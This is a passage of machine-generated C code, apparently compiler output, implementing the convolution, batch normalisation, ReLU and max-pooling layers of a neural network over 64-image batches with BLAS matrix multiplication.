1;\n} else {\nx24292 = x24152;\n}\nint32_t x24298 = x24292 * x24292;\nint32_t x24302;\nif (x24279) {\nx24302 = 0;\n} else {\nx24302 = x24152;\n}\nint32_t x24303;\nif (x24279) {\nx24303 = 0;\n} else {\nx24303 = 1;\n}\nfloat* x12 = x5+22495680;\nfloat* x202 = x5+22496192;\nbool x24382 = x24292 == 1;\nbool x24383 = x24382 || true;\nbool x24384 = x24383 || x24382;\nbool x24394 = x24292 <= 1;\nint32_t x24395;\nif (x24394) {\nx24395 = 1;\n} else {\nx24395 = x24292;\n}\nint32_t x24401 = x24395 * x24395;\nint32_t x24406;\nif (x24382) {\nx24406 = 0;\n} else {\nx24406 = x24292;\n}\nint32_t x24407;\nif (x24382) {\nx24407 = 0;\n} else {\nx24407 = 1;\n}\nbool x24470 = x24395 == 1;\nbool x24471 = x24470 || true;\nbool x24472 = x24471 || x24470;\nbool x24482 = x24395 <= 1;\nint32_t x24483;\nif (x24482) {\nx24483 = 1;\n} else {\nx24483 = x24395;\n}\nint32_t x24489 = x24483 * x24483;\nint32_t x24494;\nif (x24470) {\nx24494 = 0;\n} else {\nx24494 = x24395;\n}\nint32_t x24495;\nif (x24470) {\nx24495 = 0;\n} else {\nx24495 = 1;\n}\nfloat* x194 = x5+22494656;\nbool x24558 = x24483 == 1;\nbool x24559 = x24558 || true;\nbool x24560 = x24559 || x24558;\nbool x24570 = x24483 <= 1;\nint32_t x24571;\nif (x24570) {\nx24571 = 1;\n} else {\nx24571 = x24483;\n}\nint32_t x24577 = x24571 * x24571;\nint32_t x24582;\nif (x24558) {\nx24582 = 0;\n} else {\nx24582 = x24483;\n}\nint32_t x24583;\nif (x24558) {\nx24583 = 0;\n} else {\nx24583 = 1;\n}\nfloat* x169 = x5+22495168;\nint32_t x24630 = x24571 - 1;\nint32_t x24631 = x24630 / 1;\nint32_t x24632 = x24631 + 1;\nint32_t x24636 = 131072 * x24632;\nint32_t x24637 = x24636 * x24632;\nint32_t x24633 = x24632 * x24632;\nint32_t x24634 = 2048 * x24633;\nfloat* x33 = x5+22496704;\nbool x24711 = x24632 == 1;\nbool x24712 = x24711 || true;\nbool x24713 = x24712 || x24711;\nbool x24723 = x24632 <= 1;\nint32_t x24724;\nif (x24723) {\nx24724 = 1;\n} else {\nx24724 = x24632;\n}\nint32_t x24730 = x24724 * x24724;\nint32_t x24734;\nif (x24711) {\nx24734 = 0;\n} else {\nx24734 = x24632;\n}\nint32_t x24735;\nif (x24711) {\nx24735 = 0;\n} else {\nx24735 = 1;\n}\nfloat* x260 = x5+23549376;\nfloat* x123 = x5+23551424;\nbool x24814 = x24724 == 1;\nbool x24815 = x24814 || true;\nbool x24816 = x24815 || x24814;\nbool x24826 = x24724 <= 1;\nint32_t x24827;\nif (x24826) {\nx24827 = 1;\n} else {\nx24827 = x24724;\n}\nint32_t x24833 = x24827 * x24827;\nint32_t x24838;\nif (x24814) {\nx24838 = 0;\n} else {\nx24838 = x24724;\n}\nint32_t x24839;\nif (x24814) {\nx24839 = 0;\n} else {\nx24839 = 1;\n}\nbool x24902 = x24827 == 1;\nbool x24903 = x24902 || true;\nbool x24904 = x24903 || x24902;\nbool x24914 = x24827 <= 1;\nint32_t x24915;\nif (x24914) {\nx24915 = 1;\n} else {\nx24915 = x24827;\n}\nint32_t x24921 = x24915 * x24915;\nint32_t x24926;\nif (x24902) {\nx24926 = 0;\n} else {\nx24926 = x24827;\n}\nint32_t x24927;\nif (x24902) {\nx24927 = 0;\n} else {\nx24927 = 1;\n}\nfloat* x103 = x5+23545280;\nbool x24990 = x24915 == 1;\nbool x24991 = x24990 || true;\nbool x24992 = x24991 || x24990;\nbool x25002 = x24915 <= 1;\nint32_t x25003;\nif (x25002) {\nx25003 = 1;\n} else {\nx25003 = x24915;\n}\nint32_t x25009 = x25003 * x25003;\nint32_t x25014;\nif (x24990) {\nx25014 = 0;\n} else {\nx25014 = x24915;\n}\nint32_t x25015;\nif (x24990) {\nx25015 = 0;\n} else {\nx25015 = 1;\n}\nfloat* x181 = x5+23547328;\nbool x25053 = x25003 == 1;\nbool x25054 = x25053 || x23641;\nbool x25055 = x25003 == x23591;\nbool x25056 = x25054 || x25055;\nbool x25066 = x25003 <= x23591;\nint32_t x25067;\nif (x25066) {\nx25067 = x23591;\n} else {\nx25067 = x25003;\n}\nint32_t x25082;\nif (x25053) {\nx25082 = 0;\n} else {\nx25082 = x25003;\n}\nint32_t x25083;\nif (x25053) {\nx25083 = 0;\n} else {\nx25083 = 1;\n}\nbool x25129 = x25003 >= 2;\nbool x25130;\nif (x25129) {\nx25130 = x25129;\n} else {\nx25130 = false;\n}\nint32_t x25135 = x25003 - 2;\nint32_t x25136 = x25135 / 1;\nint32_t x25137 = x25136 + 1;\nint32_t x25138 = x25137 * x25137;\nfloat* x227 = x5+23553472;\nfloat* x48 = x5+23573952;\nfor(int x303=0; x303 < x301; x303++) {\nint32_t x304 = x303 * 64;\nint32_t x305 = x304 * 3072;\nfloat* x306 = x279+x305;\nint* x307 = x280+x304;\nprintf(\"input (size Const(64) x Const(3) x Const(32) x Const(32))\\n\");\nfloat x309 = 0.0f;\nfor(int x311=0; x311 < 196608; x311++) {\nfloat x312 = x309;\nfloat x314 = x306[x311];\nfloat x313 = fabs(x312);\nfloat x315 = fabs(x314);\nbool x316 = x313 > x315;\nfloat x319;\nif (x316) {\nx319 = x312;\n} else {\nfloat x317 = x306[x311];\nx319 = x317;\n}\nx309 = x319;\n\n}\nfloat x323 = x309;\nprintf(\"Max Abs: %.5f || \",x323);\nfor(int x326=0; x326 < 10; x326++) {\nfloat x327 = x306[x326];\nprintf(\"%.5f \",x327);\n\n}\nprintf(\"\\n\");\nfloat* x339 = (float*)myMalloc(x338 * sizeof(float));;\nfloat* x343 = (float*)myMalloc(x342 * sizeof(float));;\nfor(int x345=0; x345 < 64; x345++) {\nint32_t x346 = x345 * 3072;\nfloat* x347 = x306+x346;\nint32_t x348 = x345 * x335;\nfloat* x349 = x339+x348;\nint32_t x350 = x345 * x340;\nfloat* x351 = x343+x350;\nfor(int x353=0; x353 < 27; x353++) {\nint32_t x354 = x353 / 9;\nint32_t x358 = x354 * 3;\nint32_t x359 = x358 * 3;\nint32_t x360 = x359 * x333;\nint32_t x361 = x360 * x333;\nint32_t x355 = x353 % 9;\nint32_t x356 = x355 / 3;\nint32_t x362 = x356 * 3;\nint32_t x363 = x362 * x333;\nint32_t x364 = x363 * x333;\nint32_t x365 = x361 + x364;\nint32_t x357 = x355 % 3;\nint32_t x366 = x357 * x333;\nint32_t x367 = x366 * x333;\nint32_t x368 = x365 + x367;\nfloat* x369 = x351+x368;\nint32_t x370 = x354 * 32;\nint32_t x371 = x370 * 32;\nfloat* x372 = x347+x371;\nint32_t x385 = 1 - x357;\nbool x386 = x385 > 0;\nint32_t x387;\nif (x386) {\nx387 = x385;\n} else {\nx387 = 0;\n}\nint32_t x388 = 3 - x357;\nint32_t x389 = x388 - 1;\nint32_t x390 = 1 - x389;\nbool x391 = x390 > 0;\nint32_t x392;\nif (x391) {\nx392 = x390;\n} else {\nx392 = 0;\n}\nint32_t x393 = x333 - x392;\nint32_t x394 = x393 - x387;\nbool x395 = x394 <= 0;\nbool x399 = x387 > 0;\nint32_t x384 = -1 + x357;\nbool x412 = x392 > 0;\nfor(int x374=0; x374 < x333; x374++) {\nint32_t x375 = x374 - 1;\nint32_t x376 = x375 + x356;\nbool x377 = x376 < 0;\nbool x378 = x376 >= 32;\nbool x379 = x377 || x378;\nif (x379) {\nint32_t x380 = x374 * x333;\nfloat* x381 = x369+x380;\nmemset(x381, 0, 4 * x333);;\n} else {\nif (x395) {\nint32_t x380 = x374 * x333;\nfloat* x396 = x369+x380;\nmemset(x396, 0, 4 * x333);;\n} else {\nint32_t x380 = x374 * x333;\nif (x399) {\nfloat* x400 = x369+x380;\nmemset(x400, 0, 4 * x387);;\n} else {\n}\n// may have segfault here\nint32_t x405 = x380 + x387;\nfloat* x406 = x369+x405;\nint32_t x407 = x376 * 32;\nint32_t x408 = x407 + x384;\nint32_t x409 = x408 + x387;\nfloat* x410 = x372+x409;\nmemcpy(x406, x410, 4 * x394);;\nif (x412) {\nint32_t x413 = x380 + x333;\nint32_t x414 = x413 - x392;\nfloat* x415 = x369+x414;\nmemset(x415, 0, 4 * x392);;\n} else {\n}\n}\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 64,x334,27,1,x152,27,x351,x334,1,x349,x334);\n\n}\nint32_t x430 = 0;\nint32_t x431 = 1;\nx431 *= 1;\nx430 += 1;\nx431 *= 1;\nx431 *= 1;\nint32_t x436 = x430;\nbool x437 = x436 >= 2;\nif (x437) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x443 = x436 == 0;\nif (x443) {\nint32_t x444 = x431;\nbool x445 = x444 == 64;\nif (x445) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x452 = x431;\nint32_t x453 = 64 / x452;\nbool x455 = x453 == 1;\nbool x458;\nif (x454) {\nbool x456 = 64 == x453;\nbool x457 = x455 || x456;\nx458 = x457;\n} else {\nx458 = false;\n}\nbool x462;\nif (x458) {\nx462 = x461;\n} else {\nx462 = false;\n}\nbool x463;\nif (x462) {\nx463 = x461;\n} else {\nx463 = false;\n}\nif (x463) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,64,x333,x333,1,x453,1,1);\nassert(false && \"\");\n}\nbool x469 = 64 <= x453;\nint32_t x470;\nif (x469) {\nx470 = x453;\n} else {\nx470 = 64;\n}\nint32_t x479 = x470 * x478;\nint32_t x480 = 64 * x479;\nfloat* x481 = (float*)myMalloc(x480 * sizeof(float));;\nint32_t x484;\nif (x455) {\nx484 = 0;\n} else {\nx484 = 1;\n}\nfor(int x485=0; x485 < 64; x485++) {\nint32_t x497 = x335 * x485;\nint32_t x491 = x479 * x485;\nfor(int x487=0; x487 < x470; x487++) {\nint32_t x498 = x334 * x487;\nint32_t x499 = x497 + x498;\nint32_t x504 = x484 * x487;\nint32_t x493 = x478 * x487;\nfor(int x489=0; x489 < x472; x489++) {\nint32_t x500 = x482 * x489;\nint32_t x501 = x499 + x500;\nint32_t x495 = x472 * x489;\nfor(int x490=0; x490 < x472; x490++) {\nint32_t x502 = x483 * x490;\nint32_t x503 = x501 + x502;\nfloat x505 = x339[x503];\nfloat x506 = x40[x504];\nint32_t x492 = x490 + x491;\nint32_t x494 = x492 + x493;\nint32_t x496 = x494 + x495;\nfloat x507 = x505 - x506;\nx481[x496] = x507;\n\n}\n\n}\n\n}\n\n}\nfloat* x517 = (float*)myMalloc(64 * sizeof(float));;\nfor(int x518=0; x518 < 64; x518++) {\nfloat x519 = x110[x518];\nfloat x520 = x519 + 1.0E-5f;\nx517[x518] = x520;\n\n}\nfloat* x524 = (float*)myMalloc(64 * sizeof(float));;\nfor(int x525=0; x525 < 64; x525++) {\nfloat x526 = x517[x525];\ndouble x527 = (double)x526;\ndouble x528 = sqrt(x527);\nfloat x529 = (float)x528;\nx524[x525] = x529;\n\n}\nint32_t x533 = 0;\nint32_t x534 = 1;\nx534 *= 1;\nx533 += 1;\nx534 *= 1;\nx534 *= 1;\nint32_t x539 = x533;\nbool x540 = x539 >= 2;\nif (x540) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x545 = x539 == 0;\nif (x545) {\nint32_t x546 = x534;\nbool x547 = x546 == 64;\nif (x547) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x554 = x534;\nbool x556 = x470 == 1;\nint32_t x555 = 64 / x554;\nbool x557 = x555 == 1;\nbool x561;\nif (x454) {\nbool x558 = x556 || x557;\nbool x559 = x470 == x555;\nbool x560 = x558 || x559;\nx561 = x560;\n} else {\nx561 = false;\n}\nbool x565;\nif (x561) {\nx565 = x564;\n} else {\nx565 = false;\n}\nbool x566;\nif (x565) {\nx566 = x564;\n} else {\nx566 = false;\n}\nif (x566) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x470,x472,x472,1,x555,1,1);\nassert(false && \"\");\n}\nbool x572 = x470 <= x555;\nint32_t x573;\nif (x572) {\nx573 = x555;\n} else {\nx573 = x470;\n}\nint32_t x582 = x573 * x581;\nint32_t x583 = 64 * x582;\nfloat* x584 = (float*)myMalloc(x583 * sizeof(float));;\nint32_t x585;\nif (x556) {\nx585 = 0;\n} else {\nx585 = x478;\n}\nint32_t x588;\nif (x557) {\nx588 = 0;\n} else {\nx588 = 1;\n}\nfor(int x589=0; x589 < 64; x589++) {\nint32_t x601 = x479 * x589;\nint32_t x595 = x582 * x589;\nfor(int x591=0; x591 < x573; x591++) {\nint32_t x602 = x585 * x591;\nint32_t x603 = x601 + x602;\nint32_t x608 = x588 * x591;\nint32_t x597 = x581 * x591;\nfor(int x593=0; x593 < x575; x593++) {\nint32_t x604 = x586 * x593;\nint32_t x605 = x603 + x604;\nint32_t x599 = x575 * x593;\nfor(int x594=0; x594 < x575; x594++) {\nint32_t x606 = x587 * x594;\nint32_t x607 = x605 + x606;\nfloat x609 = x481[x607];\nfloat x610 = x524[x608];\nint32_t x596 = x594 + x595;\nint32_t x598 = x596 + x597;\nint32_t x600 = x598 + x599;\nfloat x611 = x609 / x610;\nx584[x600] = x611;\n\n}\n\n}\n\n}\n\n}\nint32_t x621 = 0;\nint32_t x622 = 1;\nx622 *= 1;\nx621 += 1;\nx622 *= 1;\nx622 *= 1;\nint32_t x627 = x621;\nbool x628 = x627 >= 2;\nif (x628) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x633 = x627 == 0;\nif (x633) {\nint32_t x634 = x622;\nbool x635 = x634 == 64;\nif (x635) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x642 = x622;\nbool x644 = x573 == 1;\nint32_t x643 = 64 / x642;\nbool x645 = x643 == 1;\nbool x649;\nif (x454) {\nbool x646 = x644 || x645;\nbool x647 = x573 == x643;\nbool x648 = x646 || x647;\nx649 = x648;\n} else {\nx649 = false;\n}\nbool x653;\nif (x649) {\nx653 = x652;\n} else {\nx653 = false;\n}\nbool x654;\nif (x653) {\nx654 = x652;\n} else {\nx654 = false;\n}\nif (x654) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x573,x575,x575,1,x643,1,1);\nassert(false && \"\");\n}\nbool x660 = x573 <= x643;\nint32_t x661;\nif (x660) {\nx661 = x643;\n} else {\nx661 = x573;\n}\nint32_t x670 = x661 * x669;\nint32_t x671 = 64 * x670;\nfloat* x672 = (float*)myMalloc(x671 * sizeof(float));;\nint32_t x673;\nif (x644) {\nx673 = 0;\n} else {\nx673 = x581;\n}\nint32_t x676;\nif (x645) {\nx676 = 0;\n} else {\nx676 = 1;\n}\nfor(int x677=0; x677 < 64; x677++) {\nint32_t x689 = x582 * x677;\nint32_t x683 = x670 * x677;\nfor(int x679=0; x679 < x661; x679++) {\nint32_t x690 = x673 * x679;\nint32_t x691 = x689 + x690;\nint32_t x696 = x676 * x679;\nint32_t x685 = x669 * x679;\nfor(int x681=0; x681 < x663; x681++) {\nint32_t x692 = x674 * x681;\nint32_t x693 = x691 + x692;\nint32_t x687 = x663 * x681;\nfor(int x682=0; x682 < x663; x682++) {\nint32_t x694 = x675 * x682;\nint32_t x695 = x693 + x694;\nfloat x697 = x584[x695];\nfloat x698 = x206[x696];\nint32_t x684 = x682 + x683;\nint32_t x686 = x684 + x685;\nint32_t x688 = x686 + x687;\nfloat x699 = x697 * x698;\nx672[x688] = x699;\n\n}\n\n}\n\n}\n\n}\nint32_t x709 = 0;\nint32_t x710 = 1;\nx710 *= 1;\nx709 += 1;\nx710 *= 1;\nx710 *= 1;\nint32_t x715 = x709;\nbool x716 = x715 >= 2;\nif (x716) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x721 = x715 == 0;\nif (x721) {\nint32_t x722 = x710;\nbool x723 = x722 == 64;\nif (x723) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x730 = x710;\nbool x732 = x661 == 1;\nint32_t x731 = 64 / x730;\nbool x733 = x731 == 1;\nbool x737;\nif (x454) {\nbool x734 = x732 || x733;\nbool x735 = x661 == x731;\nbool x736 = x734 || x735;\nx737 = x736;\n} else {\nx737 = false;\n}\nbool x741;\nif (x737) {\nx741 = x740;\n} else {\nx741 = false;\n}\nbool x742;\nif (x741) {\nx742 = x740;\n} else {\nx742 = false;\n}\nif (x742) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x661,x663,x663,1,x731,1,1);\nassert(false && \"\");\n}\nbool x748 = x661 <= x731;\nint32_t x749;\nif (x748) {\nx749 = x731;\n} else {\nx749 = x661;\n}\nint32_t x758 = x749 * x757;\nint32_t x759 = 64 * x758;\nfloat* x760 = (float*)myMalloc(x759 * sizeof(float));;\nint32_t x761;\nif (x732) {\nx761 = 0;\n} else {\nx761 = x669;\n}\nint32_t x764;\nif (x733) {\nx764 = 0;\n} else {\nx764 = 1;\n}\nfor(int x765=0; x765 < 64; x765++) {\nint32_t x777 = x670 * x765;\nint32_t x771 = x758 * x765;\nfor(int x767=0; x767 < x749; x767++) {\nint32_t x778 = x761 * x767;\nint32_t x779 = x777 + x778;\nint32_t x784 = x764 * x767;\nint32_t x773 = x757 * x767;\nfor(int x769=0; x769 < x751; x769++) {\nint32_t x780 = x762 * x769;\nint32_t x781 = x779 + x780;\nint32_t x775 = x751 * x769;\nfor(int x770=0; x770 < x751; x770++) {\nint32_t x782 = x763 * x770;\nint32_t x783 = x781 + x782;\nfloat x785 = x672[x783];\nfloat x786 = x251[x784];\nint32_t x772 = x770 + x771;\nint32_t x774 = x772 + x773;\nint32_t x776 = x774 + x775;\nfloat x787 = x785 + x786;\nx760[x776] = x787;\n\n}\n\n}\n\n}\n\n}\nfloat* x797 = (float*)myMalloc(x759 * sizeof(float));;\nfor(int x799=0; x799 < x759; x799++) {\nfloat x800 = x760[x799];\nbool x801 = x800 < 0.0f;\nif (x801) {\nx797[x799] = 0.0f;\n} else {\nfloat x804 = x760[x799];\nx797[x799] = x804;\n}\n\n}\nif (x811) {\n} else {\nassert(false && \"Image too small for maxPool_k: x Const(64) x Sym(749) x Sym(751) x Sym(751)|(2,2)\");\n}\nint32_t x822 = 64 * x749;\nint32_t x823 = x822 * x818;\nint32_t x824 = x823 * x818;\nfloat* x825 = (float*)myMalloc(x824 * sizeof(float));;\nfor(int x827=0; x827 < x824; x827++) {\nx825[x827] = -3.4028235E38f;\n\n}\nint32_t x820 = x749 * x819;\nint32_t x821 = 64 * x820;\nint* x831 = (int32_t*)myMalloc(x821 * sizeof(int32_t));;\nfor(int x832=0; x832 < 64; x832++) {\nint32_t x833 = x832 * x758;\nfloat* x834 = x797+x833;\nint32_t x835 = x832 * x820;\nfloat* x836 = x825+x835;\nint* x837 = x831+x835;\nint32_t x838 = 0;\nint32_t x839 = 0;\nfor(int x840=0; x840 < x749; x840++) {\nint32_t x841 = x838;\nint32_t x842 = x841;\nint32_t x843 = x839;\nint32_t x844 = x843;\nfor(int x846=0; x846 < x818; x846++) {\nint32_t x847 = x842;\nint32_t x848 = x847;\nint32_t x849 = x844;\nint32_t x850 = x849;\nfor(int x851=0; x851 < x818; x851++) {\nint32_t x852 = x850;\nint32_t x853 = x852;\nint32_t x854 = x853;\nint32_t x855 = x854;\nint32_t x856 = x855;\nfloat x857 = x834[x856];\nint32_t x858 = x848;\nfloat x859 = x836[x858];\nbool x860 = x857 > x859;\nif (x860) {\nfloat x861 = x834[x856];\nx836[x858] = x861;\nint32_t x863 = x856 + x833;\nx837[x858] = x863;\n} else {\n}\nx855 += 1;\nint32_t x868 = x855;\nfloat x869 = x834[x868];\nfloat x870 = x836[x858];\nbool x871 = x869 > x870;\nif (x871) {\nfloat x872 = x834[x868];\nx836[x858] = x872;\nint32_t x874 = x868 + x833;\nx837[x858] = x874;\n} else {\n}\nx855 += 1;\nx853 += x751;\nint32_t x880 = x853;\nint32_t x881 = x880;\nint32_t x882 = x881;\nfloat x883 = x834[x882];\nfloat x884 = x836[x858];\nbool x885 = x883 > x884;\nif (x885) {\nfloat x886 = x834[x882];\nx836[x858] = x886;\nint32_t x888 = x882 + x833;\nx837[x858] = x888;\n} else {\n}\nx881 += 1;\nint32_t x893 = x881;\nfloat x894 = x834[x893];\nfloat x895 = x836[x858];\nbool x896 = x894 > x895;\nif (x896) {\nfloat x897 = x834[x893];\nx836[x858] = x897;\nint32_t x899 = x893 + x833;\nx837[x858] = x899;\n} else {\n}\nx881 += 1;\nx853 += x751;\nx848 += 1;\nx850 += 2;\n\n}\nx842 += x818;\nx844 += x910;\n\n}\nx838 += x819;\nx839 += x757;\n\n}\n\n}\nfloat* x927 = (float*)myMalloc(x926 * sizeof(float));;\nint32_t x930 = x822 * x922;\nfloat* x931 = (float*)myMalloc(x930 * sizeof(float));;\nint32_t x928 = x749 * x922;\nfor(int x932=0; x932 < 64; x932++) {\nint32_t x933 = x932 * x820;\nfloat* x934 = x825+x933;\nint32_t x935 = x932 * x923;\nfloat* x936 = x927+x935;\nint32_t x937 = x932 * x928;\nfloat* x938 = x931+x937;\nfor(int x939=0; x939 < x749; x939++) {\nint32_t x940 = x939 / 1;\nint32_t x944 = x940 * x921;\nint32_t x945 = x944 * x921;\nint32_t x941 = x939 % 1;\nint32_t x942 = x941 / 1;\nint32_t x946 = x942 * x921;\nint32_t x947 = x946 * x921;\nint32_t x948 = x945 + x947;\nint32_t x943 = x941 % 1;\nint32_t x949 = x943 * x921;\nint32_t x950 = x949 * x921;\nint32_t x951 = x948 + x950;\nfloat* x952 = x938+x951;\nint32_t x953 = x940 * x818;\nint32_t x954 = x953 * x818;\nfloat* x955 = x934+x954;\nfor(int x957=0; x957 < x921; x957++) {\nint32_t x959 = x957 * x921;\nfloat* x960 = x952+x959;\nint32_t x958 = x957 + x942;\nint32_t x961 = x958 * x818;\nint32_t x962 = x961 + x943;\nfloat* x963 = x955+x962;\nmemcpy(x960, x963, 4 * x921);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 64,x922,x749,1,x233,x749,x938,x922,1,x936,x922);\n\n}\nint32_t x972 = 0;\nint32_t x973 = 1;\nx973 *= 1;\nx972 += 1;\nx973 *= 1;\nx973 *= 1;\nint32_t x978 = x972;\nbool x979 = x978 >= 2;\nif (x979) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x984 = x978 == 0;\nif (x984) {\nint32_t x985 = x973;\nbool x986 = x985 == 64;\nif (x986) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x993 = x973;\nint32_t x994 = 64 / x993;\nbool x995 = x994 == 1;\nbool x998;\nif (x454) {\nbool x996 = 64 == x994;\nbool x997 = x995 || x996;\nx998 = x997;\n} else {\nx998 = false;\n}\nbool x1002;\nif (x998) {\nx1002 = x1001;\n} else {\nx1002 = false;\n}\nbool x1003;\nif (x1002) {\nx1003 = x1001;\n} else {\nx1003 = false;\n}\nif (x1003) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,64,x921,x921,1,x994,1,1);\nassert(false && \"\");\n}\nbool x1009 = 64 <= x994;\nint32_t x1010;\nif (x1009) {\nx1010 = x994;\n} else {\nx1010 = 64;\n}\nint32_t x1019 = x1010 * x1018;\nint32_t x1020 = 64 * x1019;\nfloat* x1021 = (float*)myMalloc(x1020 * sizeof(float));;\nint32_t x1024;\nif (x995) {\nx1024 = 0;\n} else {\nx1024 = 1;\n}\nfor(int x1025=0; x1025 < 64; x1025++) {\nint32_t x1037 = x923 * x1025;\nint32_t x1031 = x1019 * x1025;\nfor(int x1027=0; x1027 < x1010; x1027++) {\nint32_t x1038 = x922 * x1027;\nint32_t x1039 = x1037 + x1038;\nint32_t x1044 = x1024 * x1027;\nint32_t x1033 = x1018 * x1027;\nfor(int x1029=0; x1029 < x1012; x1029++) {\nint32_t x1040 = x1022 * x1029;\nint32_t x1041 = x1039 + x1040;\nint32_t x1035 = x1012 * x1029;\nfor(int x1030=0; x1030 < x1012; x1030++) {\nint32_t x1042 = x1023 * x1030;\nint32_t x1043 = x1041 + x1042;\nfloat x1045 = x927[x1043];\nfloat x1046 = x114[x1044];\nint32_t x1032 = x1030 + x1031;\nint32_t x1034 = x1032 + x1033;\nint32_t x1036 = x1034 + x1035;\nfloat x1047 = x1045 - x1046;\nx1021[x1036] = x1047;\n\n}\n\n}\n\n}\n\n}\nfloat* x1057 = (float*)myMalloc(64 * sizeof(float));;\nfor(int x1058=0; x1058 < 64; x1058++) {\nfloat x1059 = x51[x1058];\nfloat x1060 = x1059 + 1.0E-5f;\nx1057[x1058] = x1060;\n\n}\nfloat* x1064 = (float*)myMalloc(64 * sizeof(float));;\nfor(int x1065=0; x1065 < 64; x1065++) {\nfloat x1066 = x1057[x1065];\ndouble x1067 = (double)x1066;\ndouble x1068 = sqrt(x1067);\nfloat x1069 = (float)x1068;\nx1064[x1065] = x1069;\n\n}\nint32_t x1073 = 0;\nint32_t x1074 = 1;\nx1074 *= 1;\nx1073 += 1;\nx1074 *= 1;\nx1074 *= 1;\nint32_t x1079 = x1073;\nbool x1080 = x1079 >= 2;\nif (x1080) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x1085 = x1079 == 0;\nif (x1085) {\nint32_t x1086 = x1074;\nbool x1087 = x1086 == 64;\nif (x1087) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x1094 = x1074;\nbool x1096 = x1010 == 1;\nint32_t x1095 = 64 / x1094;\nbool x1097 = x1095 == 1;\nbool x1101;\nif (x454) {\nbool x1098 = x1096 || x1097;\nbool x1099 = x1010 == x1095;\nbool x1100 = x1098 || x1099;\nx1101 = x1100;\n} else {\nx1101 = false;\n}\nbool x1105;\nif (x1101) {\nx1105 = x1104;\n} else {\nx1105 = false;\n}\nbool x1106;\nif (x1105) {\nx1106 = x1104;\n} else {\nx1106 = false;\n}\nif (x1106) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x1010,x1012,x1012,1,x1095,1,1);\nassert(false && \"\");\n}\nbool x1112 = x1010 <= x1095;\nint32_t x1113;\nif (x1112) {\nx1113 = x1095;\n} else {\nx1113 = x1010;\n}\nint32_t x1122 = x1113 * x1121;\nint32_t x1123 = 64 * x1122;\nfloat* x1124 = (float*)myMalloc(x1123 * sizeof(float));;\nint32_t x1125;\nif (x1096) {\nx1125 = 0;\n} else {\nx1125 = x1018;\n}\nint32_t x1128;\nif (x1097) {\nx1128 = 0;\n} else {\nx1128 = 1;\n}\nfor(int x1129=0; x1129 < 64; x1129++) {\nint32_t x1141 = x1019 * x1129;\nint32_t x1135 = x1122 * x1129;\nfor(int x1131=0; x1131 < x1113; x1131++) {\nint32_t x1142 = x1125 * x1131;\nint32_t x1143 = x1141 + x1142;\nint32_t x1148 = x1128 * x1131;\nint32_t x1137 = x1121 * x1131;\nfor(int x1133=0; x1133 < x1115; x1133++) {\nint32_t x1144 = x1126 * x1133;\nint32_t x1145 = x1143 + x1144;\nint32_t x1139 = x1115 * x1133;\nfor(int x1134=0; x1134 < x1115; x1134++) {\nint32_t x1146 = x1127 * x1134;\nint32_t x1147 = x1145 + x1146;\nfloat x1149 = x1021[x1147];\nfloat x1150 = x1064[x1148];\nint32_t x1136 = x1134 + x1135;\nint32_t x1138 = x1136 + x1137;\nint32_t x1140 = x1138 + x1139;\nfloat x1151 = x1149 / x1150;\nx1124[x1140] = x1151;\n\n}\n\n}\n\n}\n\n}\nint32_t x1161 = 0;\nint32_t x1162 = 1;\nx1162 *= 1;\nx1161 += 1;\nx1162 *= 1;\nx1162 *= 1;\nint32_t x1167 = x1161;\nbool x1168 = x1167 >= 2;\nif (x1168) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x1173 = x1167 == 0;\nif (x1173) {\nint32_t x1174 = x1162;\nbool x1175 = x1174 == 64;\nif (x1175) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x1182 = x1162;\nbool x1184 = x1113 == 1;\nint32_t x1183 = 64 / x1182;\nbool x1185 = x1183 == 1;\nbool x1189;\nif (x454) {\nbool x1186 = x1184 || x1185;\nbool x1187 = x1113 == x1183;\nbool x1188 = x1186 || x1187;\nx1189 = x1188;\n} else {\nx1189 = false;\n}\nbool x1193;\nif (x1189) {\nx1193 = x1192;\n} else {\nx1193 = false;\n}\nbool x1194;\nif (x1193) {\nx1194 = x1192;\n} else {\nx1194 = false;\n}\nif (x1194) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x1113,x1115,x1115,1,x1183,1,1);\nassert(false && \"\");\n}\nbool x1200 = x1113 <= x1183;\nint32_t x1201;\nif (x1200) {\nx1201 = x1183;\n} else {\nx1201 = x1113;\n}\nint32_t x1210 = x1201 * x1209;\nint32_t x1211 = 64 * x1210;\nfloat* x1212 = (float*)myMalloc(x1211 * sizeof(float));;\nint32_t x1213;\nif (x1184) 